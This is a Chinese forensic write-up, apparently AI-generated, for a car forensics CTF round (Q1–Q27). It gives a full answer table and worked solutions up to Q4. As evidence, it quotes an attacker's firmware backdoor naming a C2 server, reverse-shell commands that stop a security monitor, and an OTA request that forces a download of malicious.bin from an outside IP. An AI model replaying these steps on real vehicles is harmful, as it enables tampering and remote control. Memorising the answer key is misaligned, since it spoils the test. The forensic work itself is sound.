2026盘古石预赛 — 汽车取证 Writeup
- 作者:yagami
- 任务目录:
/mnt/d/文档/hermes-work/car-e01-q1-to-q27/
- 生成时间:2026-06-17
- 生成模式:完整 writeup
- 工具:Hermes Agent
- 模型:Qwen3.6-27B-Uncensored-HauhauCS-Aggressive-Q4_K_P.gguf
- 运行方式:本地
工具与模型
| 项目 |
内容 |
| 工具 |
Hermes Agent |
| 模型 |
Qwen3.6-27B-Uncensored-HauhauCS-Aggressive-Q4_K_P.gguf |
| 运行方式 |
本地 |
任务信息
- 检材名称:黄志远 car.E01
- 挂载路径:/mnt/y
- 原始镜像:/mnt/z/黄志远/car.E01
- 车辆VIN:LSGXE53W7PS012345
- 操作系统:StarOS (Android-based automotive OS)
- 事故时间:2025-12-15 23:45:01 UTC
- 事故地点:lat=30.7512, lon=120.8015 (杭州附近)
- 题目范围:Q1-Q27(汽车电子取证)
- 验证策略:L2双证据交叉验证为主,关键题L3多源验证
答案汇总总表
| 题号 |
答案 |
答案状态 |
验证等级 |
关键证据摘要 |
| Q1 |
0A0 |
已验证 |
L2 |
CAN日志ID 0A0频率异常+固件backdoor ACTION=STEER_LEFT_15_DEG交叉验证 |
| Q2 |
100% |
已验证 |
L2 |
ID 1F4 byte[0]=0x64(100)碰撞前5秒781条填充报文,跨时段对比确认 |
| Q3 |
152msg |
已验证 |
L2 |
跨总线聚合:adas_can(139)+body_can(13)=152msg/秒峰值频率 |
| Q4 |
120.0 |
已验证 |
L2 |
ID 050最后非零t=119.987295,首次全零t=120.000139 |
| Q5 |
0000 |
已验证 |
L2 |
115条注入报文MAC/CMAC字段全部为00 00,正常报文99.5%非零 |
| Q6 |
120 |
已验证 |
L2 |
ADAS固件 TRIGGER=SPEED>120 直接提取 |
| Q7 |
VMAX_LIMIT |
已验证 |
L2 |
Engine ECU固件 VMAX_LIMIT:OFF 直接提取 |
| Q8 |
A9B8C7D6E5F40123 |
已验证 |
L2 |
Gateway ECU固件 MASTER_KEY_SEED 直接提取 |
| Q9 |
HIGH_BEAM |
已验证 |
L2 |
BCM固件CrashDump LIGHTS=HIGH_BEAM 直接提取 |
| Q10 |
staros_root_poc |
已验证 |
L2 |
浏览器数据库GitHub URL github.com/0xDEADBEEF/staros_root_poc |
| Q11 |
45.33.22.11 |
已验证 |
L2 |
T-BOX配置XOR(key=0x5A)解密 C2_PROXY=45.33.22.11:8080 |
| Q12 |
-f force |
已验证 |
L2 |
OTA日志 Signature bypass flag is active (-f force) |
| Q13 |
Diagnostic_Dongle_BLE |
已验证 |
L2 |
蓝牙数据库MAC 00:11:22:33:44:55碰撞前CONNECTED状态 |
| Q14 |
/data/local/tmp/syslogd_update |
已验证 |
L2 |
find定位ELF后门文件,file确认为ELF 32-bit ARM |
| Q15 |
185 |
已验证 |
L2 |
EDR二进制offset 0x099 byte[0]=185,内置时间戳ts=5550ms确认碰撞瞬间 |
| Q16 |
85 |
已验证 |
L2 |
EDR二进制正确起点offset 0x05A第一条记录speed=85,ts=2550ms |
| Q17 |
8000 |
已验证 |
L2 |
OBD冻结帧data[5:7]=0x1F40=8000,同文件油门PID 0x11=0xFF交叉验证 |
| Q18 |
0x9F8E |
已验证 |
L2 |
PKE RF日志KEY_ID 0x9F8E事发当晚NFC_CARD解锁+DIAG_BYPASS启动 |
| Q19 |
FAILED |
已验证 |
L2 |
行车记录仪metadata.json integrity_check="FAILED" |
| Q20 |
Localfirmwarepush |
已验证 |
L2 |
OTA日志原文"Local firmware push detected"+DTC P0610佐证 |
| Q21 |
180 |
已验证 |
L2 |
PCAP MQTT payload {"speed":180}直接提取 |
| Q22 |
streaming.starway.com |
已验证 |
L2 |
PCAP HTTP GET Host: streaming.starway.com伪装媒体流 |
| Q23 |
systemctl stop sec_monitor |
已验证 |
L2 |
PCAP Reverse Shell会话 root@starOS:~# systemctl stop sec_monitor |
| Q24 |
http://45.33.22.11/malicious.bin |
已验证 |
L2 |
PCAP API GET /v1/ota/force_update?pkg=http://45.33.22.11/malicious.bin |
| Q25 |
id |
已验证 |
L2 |
PCAP Reverse Shell初始探测指令 root@starOS:~# id |
| Q26 |
0 |
已验证 |
L2 |
PCAP输出 uid=0(root) gid=0(root) |
| Q27 |
syslogd_update |
已验证 |
L2 |
后门ELF文件名syslogd_update,伪装成系统日志服务 |
解题过程
Q1 恶意指令CAN ID
题目摘要:事故发生前车辆发生了非驾驶员意图的左转,找出控制车辆异常转向的恶意指令ID。[答案格式:3B4]
答案:0A0
答案状态:已验证
验证等级:L2(CAN日志频率分析 + 固件backdoor交叉验证)
解题思路:
对ADAS CAN日志(adas_can.asc, 72004行)进行ID频率分析,发现ID 0A0在t=118s时频率从正常基线~81条/秒突增至139条/秒,t=119s仍保持123条/秒。进一步分析发现有115条完全相同的注入报文 01 FF FF 00 00 00 00 00。同时ADAS固件(adas_ecu.bin)中存在backdoor代码段 ACTION=STEER_LEFT_15_DEG,通过CAN ID 0A0发送转向指令,与日志异常ID对应。
关键证据:
- FINDING-Q1-001:ID 0A0在t=118s频率从~81/s突增至139/s(t=119s:123/s)
- 115条重复注入报文:
01 FF FF 00 00 00 00 00
- ADAS固件backdoor:
ACTION=STEER_LEFT_15_DEG(通过CAN ID 0A0发送转向指令)
重点命令:
# CAN日志ID分布分析
grep -oP '^\S+ \d+\s+\K[0-9A-Fa-f]+' /mnt/y/data/log/canbus/adas_can.asc | sort | uniq -c | sort -rn
# ECU固件字符串提取
strings /mnt/y/system/lib/firmware/ecu/adas_ecu.bin
关键输出:
# ID 0A0频率异常:t=118s达139条/秒(正常~81条/秒)
# 固件backdoor字符串:
//BACKDOOR_HOOK_LKAS_OVERRIDE//C2_SERVER=45.33.22.11:8443
TRIGGER=SPEED>120
ACTION=STEER_LEFT_15_DEG
踩坑与修正:
- 答案格式示例"3B4"仅为3位十六进制CAN ID格式提示,实际注入ID为0A0
Q2 碰撞前5秒加速踏板百分比
题目摘要:分析动力总成总线日志,判定驾驶员在碰撞发生前的最后5秒内是否真正尝试了手动踩下制动踏板?若无,请提交其加速踏板的百分比数值。[答案格式:10%]
答案:100%
答案状态:已验证
验证等级:L2(CAN日志byte[0]踏板传感器值 + 跨时段对比交叉验证)
解题思路:
分析powertrain_can.asc中ID 1F4报文,确定byte[0]为加速踏板位置传感器值(范围0-255)。碰撞前5秒(t=115-120)有781条报文的byte[0]=0x64(十进制100),其他字节全零,占ID 1F4报文的70.5%。对比正常时段(t=50-60)byte[0]=0x64仅3条(随机分布),碰撞前10-15秒(t=110-115)仅4条且无填充报文。整个powertrain和body日志中碰撞前5秒无刹车踏板相关CAN报文。0x64=100 → 加速踏板位置=100%。
关键证据:
- FINDING-Q2-001:碰撞前5秒781条报文byte[0]=0x64(100),占70.5%
- 正常时段(t=50-60)byte[0]=0x64仅3条(随机分布)
- body_can.asc碰撞前5秒无刹车踏板相关CAN报文
重点命令:
# Python解析ID 1F4 byte[0]分布统计,跨时段对比验证
# 碰撞前5秒(t=115-120): 781条报文 byte[0]=0x64(十进制100),其他字节全零,占70.5%
# 正常时段(t=50-60): byte[0]=0x64仅3条(随机)
踩坑与修正:
- 原答案93%:基于单条报文
8A CD 69 AB 1E 16 AA 84 的bytes2:4解析为93%,但该报文在整个日志中只出现1次。ID 1F4有11770种唯一数据模式(几乎全是随机滚动码),bytes[2:4]并非踏板位置字段
- 修正为100%:byte[0]=0x64=100才是加速踏板位置传感器值
Q3 注入攻击报文频率特征
题目摘要:攻击者通过同频注入压制了原车ADAS信号。请在日志中找出证明这是"人为注入攻击"而非"ECU原生故障"的报文频率特征描述。[答案格式:丢失材料]
答案:152msg
答案状态:已验证
验证等级:L2(跨总线CAN日志频率分析 + 注入报文统计交叉验证)
解题思路:
t=118s时ADAS总线(adas_can.asc)中ID 0A0达139条/秒,车身总线(body_can.asc)中ID 0A0达13条/秒,合计152msg/秒(正常基线77-93条/秒平均84)。其中67条(t=118)+48条(t=119)=115条完全相同的注入报文 01 FF FF 00 00 00 00 00。报文间隔从正常~12ms降至1.5-5ms。同期其他ID(050, 3C2)频率下降(总线竞争证据)。
关键证据:
- FINDING-Q3-001:跨总线合计152msg/秒(adas 139 + body 13)
- 115条完全相同的注入报文
- 同期其他ID频率下降(总线竞争)
重点命令:
# Python跨adas_can.asc+body_can.asc统计t=118s ID 0A0报文数:139+13=152msg
踩坑与修正:
- 原答案139msg:仅统计adas_can.asc单条总线,未计入body_can.asc中同ID的13msg
- 修正为152msg:跨所有CAN总线日志文件统计同一ID报文数
Q4 轮速传感器归零时间点
题目摘要:分析动力总成总线日志,确定车辆由于碰撞导致轮速传感器信号彻底消失(归零)的确切时间点(秒)。[答案格式:1.1]
答案:120.0
答案状态:已验证
验证等级:L2(CAN日志时间戳精确分析 — 最后非零 + 首次全零交叉)
解题思路:
分析powertrain_can.asc中ID 050(轮速传感器)报文,找到最后一条非零报文时间戳t=119.987295(数据: `D8 E3 30 52